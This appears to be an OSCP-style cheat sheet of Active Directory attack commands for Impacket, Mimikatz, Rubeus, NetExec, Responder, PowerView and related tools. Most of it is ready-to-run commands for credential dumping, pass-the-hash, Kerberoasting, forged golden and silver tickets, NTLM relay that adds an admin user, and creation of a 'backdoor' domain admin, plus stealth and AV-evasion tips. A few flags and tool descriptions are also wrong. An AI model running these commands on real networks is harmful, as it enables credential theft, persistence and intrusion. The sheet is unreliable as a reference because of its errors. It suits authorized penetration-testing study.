Tools Mastery
Table of Contents
- Impacket Suite
- Mimikatz
- Rubeus
- CrackMapExec / NetExec
- BloodHound
- Responder
- PowerSploit / PowerView
- Evil-WinRM
- xfreerdp
- Quick Reference Cheat Sheet
- Tool Comparison Matrix
- Decision Tree
- Common Errors and Troubleshooting
1. Impacket Suite
Overview
Impacket is a collection of Python classes for working with network protocols. It provides numerous tools for Active Directory attacks.
Installation:
pip install impacket
# Or from source:
git clone https://github.com/fortra/impacket.git
cd impacket
pip install .
1.1 psexec.py
Purpose: Remote code execution via SMB (mimics Windows PsExec).
# Basic usage
psexec.py <domain>/<user>:<password>@<target>
# With hash (Pass-the-Hash)
psexec.py <domain>/<user>@<target> -hashes <lm_hash>:<ntlm_hash>
# With Kerberos (no password needed if TGT cached)
psexec.py <domain>/<user>@<target> -k
# Execute specific command
psexec.py <domain>/<user>:<password>@<target> "<command>"
# Use specific port
psexec.py <domain>/<user>:<password>@<target> -port 445
Requirements:
- Admin access on target
- SMB (445) accessible
- Admin$ share available
Common Errors:
| Error | Cause | Solution |
|---|---|---|
STATUS_ACCESS_DENIED |
Not admin | Escalate privileges |
STATUS_NETWORK_UNREACHABLE |
Firewall | Check network access |
ADMIN$ share not accessible |
Disabled share | Use wmiexec.py instead |
1.2 wmiexec.py
Purpose: Remote code execution via WMI (more stealthy than psexec).
# Basic usage
wmiexec.py <domain>/<user>:<password>@<target>
# With hash
wmiexec.py <domain>/<user>@<target> -hashes <lm>:<ntlm>
# With Kerberos
wmiexec.py <domain>/<user>@<target> -k
# No interaction service (more stealthy)
wmiexec.py <domain>/<user>:<password>@<target> -no-interact
Advantages over psexec:
- Does not require Admin$ share
- More stealthy (no service creation visible in some cases)
- Works when SMB execution is blocked
Common Errors:
| Error | Cause | Solution |
|---|---|---|
DCERPC Runtime Error |
WMI blocked | Use psexec.py |
access_denied |
Not admin | Escalate |
timeout |
Firewall | Check port 135 |
1.3 smbexec.py
Purpose: Remote code execution via SMB named pipes.
smbexec.py <domain>/<user>:<password>@<target>
smbexec.py <domain>/<user>@<target> -hashes <lm>:<ntlm>
Note: Less commonly used now; wmiexec.py and psexec.py are preferred.
1.4 dcomexec.py
Purpose: Remote code execution via DCOM.
dcomexec.py <domain>/<user>:<password>@<target>
dcomexec.py <domain>/<user>@<target> -hashes <lm>:<ntlm>
1.5 secretsdump.py
Purpose: Extract credentials from remote or local systems.
# Remote DCSync (most common)
secretsdump.py <domain>/<admin>:<password>@<dc>
# With hash
secretsdump.py <domain>/<admin>@<dc> -hashes <lm>:<ntlm>
# NTLM only output
secretsdump.py <domain>/<admin>:<password>@<dc> -just-dc-ntlm
# Specific user
secretsdump.py <domain>/<admin>:<password>@<dc> -just-user <username>
# Output to files
secretsdump.py <domain>/<admin>:<password>@<dc> -outputfile hashes
# Local NTDS.dit extraction
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL
# SAM extraction
secretsdump.py -sam SAM -system SYSTEM LOCAL
# All methods combined
secretsdump.py <domain>/<admin>:<password>@<dc> -dc-ip <dc_ip>
Output Formats:
# Default output:
domain/user:rid:lmhash:nthash:::
# Example:
EXAMPLE/Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11967d0558e6ac0e13faf8484e:::
Common Errors:
| Error | Cause | Solution |
|---|---|---|
DSERROR_ACCESS_DENIED |
No DCSync rights | Need DA or DCSync ACL |
ConnectionsError |
Can’t reach DC | Check network, DC IP |
LDAP session error |
Auth failed | Verify credentials |
1.6 getTGT.py
Purpose: Request and save Kerberos TGT.
# Request TGT
getTGT.py <domain>/<user>:<password>
# With hash
getTGT.py <domain>/<user> -hashes <lm>:<ntlm>
# Save to file
getTGT.py <domain>/<user>:<password> -dc-ip <dc_ip>
# Use the ticket
export KRB5CCNAME=/tmp/ticket.ccache
psexec.py <domain>/<user>@<target> -k
1.7 ntlmrelayx.py
Purpose: NTLM relay attack server.
# Basic relay server
ntlmrelayx.py -t smb://<target>
# Relay to multiple targets
ntlmrelayx.py -t smb://<target1>,smb://<target2>
# Execute command on relay
ntlmrelayx.py -t smb://<target> -c "<command>"
# WebSocket mode (for web-based relay)
ntlmrelayx.py -t http://<target> -wh <whitelisted_host>
# ADCS relay (certificate relay)
ntlmrelayx.py -t http://<ca_server> -escalate-user <user>
Common Attacks:
# Relay to gain admin access
ntlmrelayx.py -t <target> -c 'net user relay_user P@ssw0rd /add && net localgroup administrators relay_user /add'
# Relay for DCSync
ntlmrelayx.py -t ldap://<dc> -dc-ip <dc> -escalate-user <user>
1.8 Other Impacket Tools
# smbclient.py - SMB client
smbclient.py <domain>/<user>:<password>@<target>
# samrdump.py - SAM database dump
samrdump.py <domain>/<user>:<password>@<target>
# lookupsid.py - SID lookup and user enumeration
lookupsid.py <domain>/<user>:<password>@<target>
# rpcdump.py - RPC endpoint enumeration
rpcdump.py <target>
# services.py - Service management
services.py <domain>/<user>:<password>@<target>
# ticketConverter.py - Convert ticket formats
ticketConverter.py ticket.kirbi ticket.ccache
2. Mimikatz
Overview
Mimikatz is the premier tool for extracting credentials from Windows memory.
Download: https://github.com/gentilkiwi/mimikatz
2.1 sekurlsa Module (LSASS)
# Enable debug privilege
privilege::debug
# Dump all logon passwords
sekurlsa::logonpasswords
# Specific modules
sekurlsa::wdigest # Plaintext passwords
sekurlsa::kerberos # Kerberos tickets
sekurlsa::tickets # All tickets
sekurlsa::search # Search credentials
sekurlsa::cred # Credential blobs
# From minidump
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
# Export tickets
sekurlsa::tickets /export
2.2 kerberos Module
# Pass-the-Ticket
kerberos::ptt <ticket.kirbi>
# List tickets
kerberos::list
# Golden ticket
kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /krbtgt:<hash> /id:500 /ptt
# Silver ticket
kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /target:<target> /rc4:<hash> /service:<service> /ptt
# Export ticket
kerberos::export /ticket:<id>
# Convert ticket
kerberos::dump /ticket:<id>
2.3 lsadump Module
# DCSync
lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt
lsadump::dcsync /domain:<domain> /user:<domain>\*
# SAM dump
lsadump::sam
# LSA secrets
lsadump::secrets
# Cached credentials
lsadump::cache
lsadump::cache /count:50
# From hives
lsadump::sam /sam:SAM /system:SYSTEM
lsadump::secrets /sam:SAM /security:SECURITY /system:SYSTEM
2.4 privilege Module
# Enable debug privilege (required for most operations)
privilege::debug
# Check current privileges
privilege::rights
2.5 token Module
# List tokens
token::list
# Impersonate token
token::impersonate /user:<user>
# Make process run as specific user
token::elevate
# Steal token
token::steal /process:<pid>
2.6 dpapi Module
# Chrome passwords
dpapi::chrome /in:"LoginData.db"
# Master key
dpapi::masterkey /in:<masterkey_file> /rpc
# Credential files
dpapi::cred /in:<credential_file>
Mimikatz Quick Reference
| Module | Purpose | Key Commands |
|---|---|---|
| sekurlsa | LSASS dumping | logonpasswords, kerberos, tickets |
| kerberos | Ticket manipulation | ptt, golden, silver, list |
| lsadump | AD/SAM dumping | dcsync, sam, secrets, cache |
| privilege | Privilege management | debug, rights |
| token | Token manipulation | list, impersonate, elevate |
| dpapi | DPAPI decryption | chrome, masterkey, cred |
3. Rubeus
Overview
Rubeus is a C# tool focused on Kerberos attacks. It runs natively on Windows without requiring compilation.
Download: https://github.com/GhostPack/Rubeus
3.1 dump - List Kerberos Tickets
# List all tickets
Rubeus.exe dump
# Dump specific user
Rubeus.exe dump /user:<username>
# Display ticket details
Rubeus.exe dump /service:CIFS
3.2 asktgt - Request TGT
# Request TGT with password
Rubeus.exe asktgt /user:<user> /password:<password> /domain:<domain>
# Request TGT with hash
Rubeus.exe asktgt /user:<user> /rc4:<ntlm_hash> /domain:<domain>
# Save ticket
Rubeus.exe asktgt /user:<user> /password:<password> /domain:<domain> /ptt
# AS-REP Roasting
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
3.3 kerberoast - Kerberoasting
# Kerberoast all service accounts
Rubeus.exe kerberoast /outfile:hashes.txt
# Specific format
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
Rubeus.exe kerberoast /format:john /outfile:hashes.txt
# Request and PTT
Rubeus.exe kerberoast /user:<user> /ptt
# Decrypt if password known
Rubeus.exe kerberoast /user:<user> /password:<password>
3.4 golden - Golden Ticket
# Create golden ticket
Rubeus.exe golden /user:<user> /domain:<domain> /rc4:<krbtgt_hash> /sid:<sid> /id:500 /ptt
# With start/end times
Rubeus.exe golden /user:<user> /domain:<domain> /rc4:<hash> /sid:<sid> /id:500 /startoffset:0 /endin:604800 /ptt
# Enterprise Admin
Rubeus.exe golden /user:<user> /domain:<domain> /rc4:<hash> /sid:<sid> /sids:<ea_sid> /id:500 /ptt
3.5 silver - Silver Ticket
# Create silver ticket
Rubeus.exe silver /user:<user> /domain:<domain> /rc4:<service_hash> /service:<service> /target:<target> /ptt
# CIFS silver ticket
Rubeus.exe silver /user:<user> /domain:<domain> /rc4:<hash> /service:CIFS /target:<fileserver> /ptt
# MSSQL silver ticket
Rubeus.exe silver /user:<user> /domain:<domain> /rc4:<hash> /service:MSSQLSvc /target:<sqlserver> /ptt
3.6 ptt - Pass-the-Ticket
# Inject ticket from file
Rubeus.exe ptt /ticket:<ticket.kirbi>
# Inject multiple tickets
Rubeus.exe ptt /ticket:ticket1.kirbi /ticket:ticket2.kirbi
Rubeus Quick Reference
| Command | Purpose | Key Options |
|---|---|---|
| dump | List tickets | /user, /service |
| asktgt | Request TGT | /user, /password, /rc4, /ptt |
| kerberoast | Kerberoasting | /format, /outfile, /ptt |
| golden | Golden ticket | /user, /domain, /rc4, /sid, /ptt |
| silver | Silver ticket | /user, /domain, /rc4, /service, /target |
| ptt | Inject ticket | /ticket |
| asreproast | AS-REP roasting | /format, /outfile |
4. CrackMapExec / NetExec
Overview
CrackMapExec (CME) and its fork NetExec (nxc) are post-exploitation tools for network pivoting and enumeration.
Installation:
# CrackMapExec
pip install crackmapexec
# NetExec (recommended, active development)
pip install netexec
4.1 SMB Protocol
# Basic authentication
crackmapexec smb <target> -u <user> -p <password>
nxc smb <target> -u <user> -p <password>
# Hash authentication
crackmapexec smb <target> -u <user> -H <ntlm_hash>
nxc smb <target> -u <user> -H <ntlm_hash>
# Null session
crackmapexec smb <target> -u '' -p ''
# Multiple targets
crackmapexec smb targets.txt -u <user> -p <password>
# Subnet scan
crackmapexec smb 10.0.0.0/24 -u <user> -p <password>
4.2 Common Modules and Options
# Share enumeration
crackmapexec smb <target> -u <user> -p <password> --shares
# Share spidering
crackmapexec smb <target> -u <user> -p <password> --shares --spider
crackmapexec smb <target> -u <user> -p <password> --shares --spider-depth 3
# File pattern search
crackmapexec smb <target> -u <user> -p <password> --shares --spider --pattern "password|admin|config"
# DCSync
crackmapexec smb <dc> -u <admin> -p <password> --dcsync
# User enumeration
crackmapexec smb <target> -u <user> -p <password> --users
# Group enumeration
crackmapexec smb <target> -u <user> -p <password> --groups
# Local admin check
crackmapexec smb <target> -u <user> -p <password> --local-auth
# Pass-the-Hash
crackmapexec smb <target> -u <user> -H <hash> --local-auth
# SAM dump
crackmapexec smb <target> -u <admin> -H <hash> --sam
# LSA secrets
crackmapexec smb <target> -u <admin> -H <hash> --lsa
# DPAPI
crackmapexec smb <target> -u <user> -p <password> --dpapi
# WMI query
crackmapexec smb <target> -u <user> -p <password> --wmi "Select Name From Win32_Service"
# Execute command
crackmapexec smb <target> -u <admin> -H <hash> -x "whoami"
# PSExec
crackmapexec smb <target> -u <admin> -H <hash> -X
# Meterpreter
crackmapexec smb <target> -u <admin> -H <hash> -M metpreter
4.3 LDAP Protocol
# LDAP authentication
crackmapexec ldap <dc> -u <user> -p <password>
# User enumeration
crackmapexec ldap <dc> -u <user> -p <password> --users
# Group enumeration
crackmapexec ldap <dc> -u <user> -p <password> --groups
# Get user details
crackmapexec ldap <dc> -u <user> -p <password> --get-sid
# Trusted domains
crackmapexec ldap <dc> -u <user> -p <password> --trusted-domains
# AS-REP roasting
crackmapexec ldap <dc> -u <user> -p <password> --asreproast
# Kerberoasting
crackmapexec ldap <dc> -u <user> -p <password> --kerberoasting
# Dump GMSA
crackmapexec ldap <dc> -u <user> -p <password> --gmsa
4.4 WMI Protocol
# WMI authentication
crackmapexec wmi <target> -u <user> -p <password>
# WMI query
crackmapexec wmi <target> -u <user> -p <password> -q "Select Name From Win32_Service"
4.5 WinRM Protocol
# WinRM authentication
crackmapexec winrm <target> -u <user> -p <password>
# WinRM shell
crackmapexec winrm <target> -u <user> -p <password> -X
4.6 MSSQL Protocol
# MSSQL authentication
crackmapexec mssql <target> -u <user> -p <password>
# Execute query
crackmapexec mssql <target> -u <user> -p <password> -q "SELECT name FROM sys.databases"
# Enable xp_cmdshell
crackmapexec mssql <target> -u <user> -p <password> -M mssql_cmd -o CMD="whoami"
4.7 NetExec Modules
# List available modules
nxc smb <target> -u <user> -p <password> --modules
# Common modules
nxc smb <target> -u <user> -p <password> -M gpp_autologin
nxc smb <target> -u <user> -p <password> -M pushed_updates
nxc smb <target> -u <user> -p <password> -M enum_av
nxc smb <target> -u <user> -p <password> -M lsassy # LSASS dump
nxc smb <target> -u <user> -p <password> -M spooler # PrintNightmare check
nxc smb <target> -u <user> -p <password> -M zerologon # Zerologon check
CrackMapExec/NetExec Quick Reference
| Protocol | Command | Key Options |
|---|---|---|
| SMB | nxc smb |
--shares, --spider, --dcsync, -x, -X |
| LDAP | nxc ldap |
--users, --groups, --kerberoasting, --asreproast |
| WMI | nxc wmi |
-q (query) |
| WinRM | nxc winrm |
-X (shell) |
| MSSQL | nxc mssql |
-q, -M mssql_cmd |
| RDP | nxc rdp |
Authentication testing |
5. BloodHound
Overview
BloodHound uses graph theory to reveal hidden relationships in Active Directory.
Installation:
# BloodHound GUI
# Download from: https://bloodhound.graph/
# SharpHound (data collector)
# Download from: https://github.com/BloodHoundAD/BloodHound
5.1 SharpHound Collection
# Full collection
SharpHound.exe -c All -d <domain.local>
# Specific collections
SharpHound.exe -c User,Group,Computer,Session,Trust -d <domain.local>
# With credentials
SharpHound.exe -c All -d <domain.local> -u <user> -p <password>
# With hash
SharpHound.exe -c All -d <domain.local> -hashes <ntlm_hash>
# Collect from specific DC
SharpHound.exe -c All -d <domain.local> -dc <dc_name>
# Output to specific directory
SharpHound.exe -c All -d <domain.local> -o /path/to/output
5.2 Common Queries
# Shortest path to Domain Admin
Find the shortest path from [User] to Domain Admin
# Who can control this computer?
Who can control [Computer] via Session or LocalAdmin?
# What users have sessions on this machine?
What users have sessions on [Computer]?
# Which computers are in the Domain Admins group?
Which computers are in the Domain Admins group?
# What groups am I in?
What groups is [User] a member of?
# Find all trusts
Show all trust relationships
# What can I access?
What resources can [User] access?
# ACL abuse paths
Find all paths where [User] can abuse ACLs to reach Domain Admin
5.3 Interpreting Results
BloodHound Graph Legend:
Node Types:
├── User (blue person icon)
├── Group (blue group icon)
├── Computer (blue monitor icon)
├── OU (blue folder icon)
└── GPO (blue document icon)
Edge Types (Arrows):
├── MemberOf (solid) - Group membership
├── AdminTo (solid) - Local admin access
├── HasSession (dashed) - Active session
├── CanRDP (dashed) - RDP access
├── CanExecuteDCOM (dashed) - DCOM access
├── AllExtendedRights (solid) - Special rights
├── ForceChangePassword (solid) - Password reset
├── GenericAll (solid) - Full control
├── GenericWrite (solid) - Write access
├── WriteDACL (solid) - ACL modification
└── Owns (solid) - Ownership
Attack Paths:
Red arrows = Attack path
Shortest path = Most efficient route to target
6. Responder
Overview
Responder performs LLMNR, NBT-NS, and MDNS poisoning to capture NTLM hashes.
Installation:
# Already installed on Kali
# Or install manually:
git clone https://github.com/lgandx/Responder.git
cd Responder
python3 Responder.py
6.1 Basic Usage
# Default (all protocols)
python3 Responder.py -I <interface>
# LLMNR only
python3 Responder.py -I <interface> -wlrf
# NBT-NS only
python3 Responder.py -I <interface> -wn
# Whisper (multicast) only
python3 Responder.py -I <interface> -w
# With web attack (inject credentials)
python3 Responder.py -I <interface> -wF -rd
# Redirect to malicious server
python3 Responder.py -I <interface> -rd -wF --responder-config Responder.conf
6.2 Capture Modes
# Mode 1: Hash capture (default)
# Captures NTLMv2 hashes from poisoned responses
# Mode 2: Web attack
# Injects HTML to steal credentials
# Configured in Responder.conf
# Mode 3: SMB attack
# Redirects to SMB server for hash capture
6.3 Output
# Captured hashes saved to:
Responder/loot/
# File format:
username::domain:ntlmv2_hash
# Example:
JDoe::EXAMPLE:1122334455667788:aaaaaaaaaaaaaaaa:1234567890abcdef:0102030405060708
6.4 Cracking Captured Hashes
# Using hashcat
hashcat -m 5600 hashes.txt wordlist.txt
# Using John
john --format=netntlmv2 hashes.txt
7. PowerSploit / PowerView
Overview
PowerSploit is a PowerShell post-exploitation framework. PowerView is the AD enumeration module.
Download: https://github.com/PowerShellMafia/PowerSploit
7.1 PowerView Functions
# Import module
Import-Module .\PowerView.ps1
# User enumeration
Get-NetUser
Get-NetUser -UserName <username>
Get-UserProperty -UserName <username> -Properties description,title
# Group enumeration
Get-NetGroup
Get-NetGroup "Domain Admins"
Get-NetGroupMember -GroupName "Domain Admins"
# Computer enumeration
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server*"
Get-NetComputer -Ping
# Domain enumeration
Get-NetDomain
Get-NetDomainController
Get-NetForest
# Share enumeration
Get-NetShare -ComputerName <target>
Invoke-ShareFinder
Invoke-ShareFinder -CheckAccess
# GPO enumeration
Get-NetGPO
Get-NetGPOGroup
# ACL enumeration
Get-ObjectAcl -SamAccountName <object>
Get-ObjectAcl -DistinguishedName "<dn>"
# Trust enumeration
Get-NetDomainTrust
Get-NetForestTrust
# User tracking
Find-InterestingFile -Path C:\ -Include "*.txt","*.xlsx"
Find-DomainUserEvent -EventIDs 4624,4625
# Session enumeration
Get-NetSession -ComputerName <target>
Invoke-UserHunter
Invoke-UserHunter -GroupName "Domain Admins"
# Local admin enumeration
Invoke-FindLocalAdminAccess
7.2 Key PowerView Commands
| Command | Purpose |
|---|---|
Get-NetUser |
List domain users |
Get-NetGroup |
List domain groups |
Get-NetComputer |
List domain computers |
Get-NetShare |
List shares on computer |
Invoke-ShareFinder |
Find accessible shares |
Invoke-UserHunter |
Find user sessions |
Invoke-FindLocalAdminAccess |
Find local admin access |
Get-ObjectAcl |
Check ACLs on object |
Get-NetGPO |
List GPOs |
Find-InterestingFile |
Find sensitive files |
8. Evil-WinRM
Overview
Evil-WinRM is a full-featured WinRM shell with plugin support.
Installation:
gem install evil-winrm
Usage
# Basic usage
evil-winrm -i <target> -u <user> -p <password>
# With domain
evil-winrm -i <target> -u <user> -p <password> -d <domain>
# With hash
evil-winrm -i <target> -u <user> -H <ntlm_hash>
# With certificate
evil-winrm -i <target> -u <user> -c <cert.pem> -k <key.pem>
# With SSL
evil-winrm -i <target> -u <user> -p <password> --ssl
# Custom port
evil-winrm -i <target> -u <user> -p <password> -p 5986
# Upload file
evil-winrm -i <target> -u <user> -p <password>
Upload <local_file> <remote_path>
# Download file
Download <remote_file> <local_path>
9. xfreerdp
Overview
xfreerdp is a free RDP client for Linux.
Usage
# Basic connection
xfreerdp /v:<target> /u:<user> /p:<password>
# With domain
xfreerdp /v:<target> /u:<user> /p:<password> /d:<domain>
# With certificate ignore
xfreerdp /v:<target> /u:<user> /p:<password> /d:<domain> /cert:ignore
# With dynamic resolution
xfreerdp /v:<target> /u:<user> /p:<password> /dynamic-resolution
# With drive redirection
xfreerdp /v:<target> /u:<user> /p:<password> /drive:tmp,/tmp
# With clipboard redirection
xfreerdp /v:<target> /u:<user> /p:<password> /clipboard
# With sound
xfreerdp /v:<target> /u:<user> /p:<password> /sound:sys:pulse
# With performance mode (no graphics)
xfreerdp /v:<target> /u:<user> /p:<password> /gfx:AVC444 /performance-flag
# NLA disabled
xfreerdp /v:<target> /u:<user> /p:<password> /sec:nla /cert:ignore
10. Quick Reference Cheat Sheet
Authentication Methods
# Password
tool -u user -p password
# Hash (LM:NTLM)
tool -u user -hashes lm:ntlm
# Kerberos (pre-authenticated)
tool -u user -k
# No credentials (null session)
tool -u '' -p ''
Lateral Movement Quick Commands
# SMB execution
psexec.py domain/user:pass@target
wmiexec.py domain/user:pass@target
# WinRM shell
evil-winrm -i target -u user -p pass
# RDP
xfreerdp /v:target /u:user /p:pass /d:domain /cert:ignore
# Credential testing
crackmapexec smb subnet/24 -u user -p pass
Credential Harvesting Quick Commands
# DCSync
secretsdump.py domain/admin:pass@dc -just-dc-ntlm
# LSASS (on Windows)
mimikatz # sekurlsa::logonpasswords
# Kerberoasting
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
# AS-REP Roasting
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
Persistence Quick Commands
# Golden ticket
mimikatz # kerberos::golden /user:$ /domain:dom /sid:sid /krbtgt:hash /id:500 /ptt
# Backdoor user
net user backdoor P@ss /add /domain
net group "Domain Admins" backdoor /add /domain
11. Tool Comparison Matrix
Lateral Movement Tools
| Tool | Protocol | Stealth | Speed | Reliability | Best For |
|---|---|---|---|---|---|
| psexec.py | SMB | Low | Fast | High | Admin$ available |
| wmiexec.py | WMI | Medium | Medium | High | Stealth needed |
| smbexec.py | SMB | Low | Fast | Medium | Legacy systems |
| dcomexec.py | DCOM | Medium | Medium | Medium | DCOM access |
| evil-winrm | WinRM | Medium | Fast | High | WinRM enabled |
| xfreerdp | RDP | Low | Fast | High | GUI needed |
| CrackMapExec | SMB | Low | Very Fast | High | Mass testing |
Credential Dumping Tools
| Tool | Method | Privilege | Output | Best For |
|---|---|---|---|---|
| Mimikatz | LSASS | SYSTEM | Plaintext, NTLM, Kerberos | Full credential dump |
| secretsdump.py | DCSync | DA | NTLM hashes | Remote hash dump |
| Rubeus | Kerberos | User | TGS tickets | Kerberoasting |
| Procdump | LSASS | SYSTEM | Memory dump | AV evasion |
| CrackMapExec | SMB | Admin | Various | Mass enumeration |
Enumeration Tools
| Tool | Scope | Depth | Output | Best For |
|---|---|---|---|---|
| BloodHound | Full AD | Deep | Graph | Attack path planning |
| PowerView | AD/Local | Medium | Console | Quick enumeration |
| CrackMapExec | Network | Medium | Console | Mass testing |
| Responder | Network | Shallow | Hashes | Hash capture |
| enum4linux | SMB/LDAP | Medium | Report | Initial recon |
12. Decision Tree
Which Lateral Movement Tool?
Can you reach the target?
├── YES → Is the target admin?
│ ├── YES → Is Admin$ available?
│ │ ├── YES → psexec.py (fastest)
│ │ └── NO → wmiexec.py (no Admin$ needed)
│ └── NO → Can you escalate?
│ ├── YES → Escalate, then move
│ └── NO → Find another target
└── NO → Check network/firewall
Which Credential Dumping Method?
What access do you have?
├── SYSTEM on Windows
│ └── Mimikatz sekurlsa::logonpasswords
│ └── If blocked → procdump + mimikatz
│
├── Domain Admin
│ └── secretsdump.py (DCSync)
│ └── If blocked → DCSync via Mimikatz
│
├── Domain User
│ └── Kerberoasting (Rubeus)
│ └── AS-REP Roasting (if no preauth)
│
└── No Auth
└── Responder (LLMNR/NBT-NS poisoning)
└── Null session enumeration
Which Enumeration Tool?
What do you need?
├── Attack paths → BloodHound
├── Quick user/group list → PowerView
├── Mass credential testing → CrackMapExec
├── Hash capture → Responder
├── Share discovery → CrackMapExec --shares
└── Full AD structure → BloodHound + PowerView
13. Common Errors and Troubleshooting
Impacket Errors
| Error | Cause | Solution |
|---|---|---|
STATUS_ACCESS_DENIED |
Insufficient privileges | Escalate to admin |
STATUS_NETWORK_UNREACHABLE |
Network issue | Check connectivity, firewall |
STATUS_LOGON_FAILURE |
Wrong credentials | Verify user/password/hash |
Connection reset |
Target blocked connection | Try different tool/port |
LDAP session error |
LDAP auth failed | Check domain, DC IP |
No such host |
DNS resolution failed | Use IP, check /etc/hosts |
KDC_ERR_C_PRINCIPAL_UNKNOWN |
Wrong principal | Check domain format |
TIMESKEW |
Time sync issue | Sync time with DC |
Mimikatz Errors
| Error | Cause | Solution |
|---|---|---|
Privilege not got |
No debug privilege | Run as SYSTEM, use privilege::debug |
No credentials found |
No logon sessions | Check if users logged in |
Ticket not found |
No Kerberos tickets | Request TGT first |
Access denied |
Insufficient privilege | Elevate to SYSTEM |
DCSync failed |
No replication rights | Need DA or DCSync ACL |
CrackMapExec/NetExec Errors
| Error | Cause | Solution |
|---|---|---|
Authentication failure |
Wrong creds | Verify credentials |
Connection refused |
Service down | Check target service |
Timeout |
Firewall/network | Check connectivity |
Share not accessible |
No permission | Use different auth |
Module not found |
Module missing | Install/update CME |
BloodHound Errors
| Error | Cause | Solution |
|---|---|---|
Collection failed |
Insufficient rights | Run with admin creds |
No data collected |
Wrong domain | Verify domain name |
Graph empty |
Import failed | Check JSON format |
Query timeout |
Large dataset | Optimize query |
General Troubleshooting
# 1. Check connectivity
nmap -p 445,135,5985,3389 <target>
# 2. Verify credentials
crackmapexec smb <target> -u <user> -p <password>
# 3. Check domain membership
nltest /dsgetdc:<domain>
# 4. Verify time sync
w32tm /query /status
# 5. Check DNS resolution
nslookup <dc_name>
# 6. Test Kerberos
kinit <user>@<DOMAIN>
klist
OSCP Tool Tips
- Always have backup tools - If psexec fails, try wmiexec
- Save all output - Redirect to files for report evidence
- Use NetExec over CME - More actively maintained
- Keep tools updated - Older versions may have bugs
- Stage tools on shares - Use SYSVOL or accessible shares for tool distribution
- Use LOLBins when possible - Built-in tools may bypass AV
- Document tool versions - Include in report for reproducibility
Master these tools and you’ll have everything needed to conquer any OSCP Active Directory environment. Practice each tool until the commands become second nature.